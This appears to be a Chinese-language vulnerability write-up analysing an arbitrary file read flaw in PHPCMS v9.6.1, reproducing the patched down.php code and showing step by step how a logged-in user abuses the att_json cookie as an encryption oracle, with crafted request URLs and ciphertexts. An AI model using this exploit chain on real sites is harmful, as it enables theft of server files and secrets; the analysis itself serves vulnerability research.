Home>Article>CMS Tutorial> Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1
推荐(免费):PHPCMS使用教程
看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。
这里把本次分析中需要掌握的知识梳理了下:
php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。
原生empty方法,对字符串""返回true。
phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。
先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:
--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down { $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; + $id = intval($id);^M + $modelid = intval($modelid);^M + $catid = intval($catid);^M $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down { $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down { } $ext = fileext($filename); $filename = date('Ymd_his').random(3).'.'.$ext; + $fileurl = str_replace(array('<','>'), '',$fileurl);^M file_down($fileurl, $filename); } }
主要修改了两个方法init()
和download()
,大胆的猜想估计是这两个函数出问题了。
public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1 if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); $a_k = safe_replace($a_k);//关键点2 parse_str($a_k);//关键点3 if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid); ...... if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4 if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) { $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5 $downurl = '?m=content&c=down&a=download&a_k='.$a_k; } else { $downurl = $f; } }
public function download() { $a_k = trim($_GET['a_k']); $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); $a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8 if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); if(!$i || $m<0) showmessage(L('illegal_parameters')); if(!isset($t)) showmessage(L('illegal_parameters')); if(!isset($ip)) showmessage(L('illegal_parameters')); $starttime = intval($t); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters')); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid')); if($m) $fileurl = trim($s).trim($fileurl);//关键点10 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11 //远程文件 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12 header("Location: $fileurl"); } else { if($d == 0) { header("Location: ".$fileurl);//关键点13 } else { $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl);//关键点14 //处理中文文件 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) { $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl)); $filename = urldecode(basename($filename));//关键点15 } $ext = fileext($filename);//关键点16 $filename = date('Ymd_his').random(3).'.'.$ext; $fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17 file_down($fileurl, $filename);//关键点18 } } }
safe_replace函数如下
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用
download方法的url,url的schema为$downurl='?m=content&c=down&a=download&a_k='.$a_k
(必须符合一定条件。)
download方法接收到$a_k,进行解码,解出文件信息,调用file_down($fileurl, $filename)
( 必须符合一定条件)
我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!
function file_down($filepath, $filename = '') { if(!$filename) $filename = basename($filepath); if(is_ie()) $filename = rawurlencode($filename); $filetype = fileext($filename); $filesize = sprintf("%u", filesize($filepath)); if(ob_get_length() !== false) @ob_end_clean(); header('Pragma: public'); header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: '.$filetype); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-length: '.$filesize); readfile($filepath); exit; }
如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换
$fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17
那么可以想到我们构造出符合.ph([<>]+)p
的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。
再向上上看
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。
$fileurl = trim($f);
$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8
通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。
再向上看
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。
我们现在来看下init方法
$a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1
这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。
总结一下:
index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。
然后init方法会构造出符合download方法中能够解密的$a_k。
通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。
对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k
function downfile($field, $value) { extract(string2array($this->fields[$field]['setting'])); $list_str = array(); if($value){ $value_arr = explode('|',$value); $fileurl = $value_arr['0']; if($fileurl) { $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : ''; $server_list = getcache('downservers','commons'); if(is_array($server_list)) { foreach($server_list as $_k=>$_v) { if($value && is_array($sel_server) && in_array($_k,$sel_server)) { $downloadurl = $_v[siteurl].$fileurl; if($downloadlink) { $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key'))); $list_str[] = "{$_v[sitename]}"; } else { $list_str[] = "{$_v[sitename]}"; } } } } return $list_str; } } }
但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。
由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文
方式是ENCODE
Auth_key是系统默认的即:pc_base::load_config('system','auth_key')
且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)
加密后的数据有回显的。
共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到
public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } public static function get_cookie($var, $default = '') { $var = pc_base::load_config('system','cookie_pre').$var; return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default; }
param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。
马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。
set_cookie的内容是可控的。
set_cookie的触发条件尽可能的限制小。
一共找到122个匹配项,找到了两个比较好的触发点。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。
我们来看下swfupload_json
public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } }
我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。
我们注册个用户登录之后,调用
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
产生的数据会是
{"aid":888,"src":"fobnn","filename":""}
然后我们得到response.header中的set-cookie ["att_json"]。
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
我们修改下down.php->init方法,把DECODE之后的$a_k输出来。
然后我们调用
index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激动人心,init方法成功DECODE了$a_k
好了目前验证了我们的想法可行,接下来应该构造可用的payload了。
目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}
解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}
那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。
我们先构造一个符合init方法的$a_k使得能完成正常的流程。
if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid);
构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
得到
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}
然后提交
index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!页面已经生成了调用download方法的url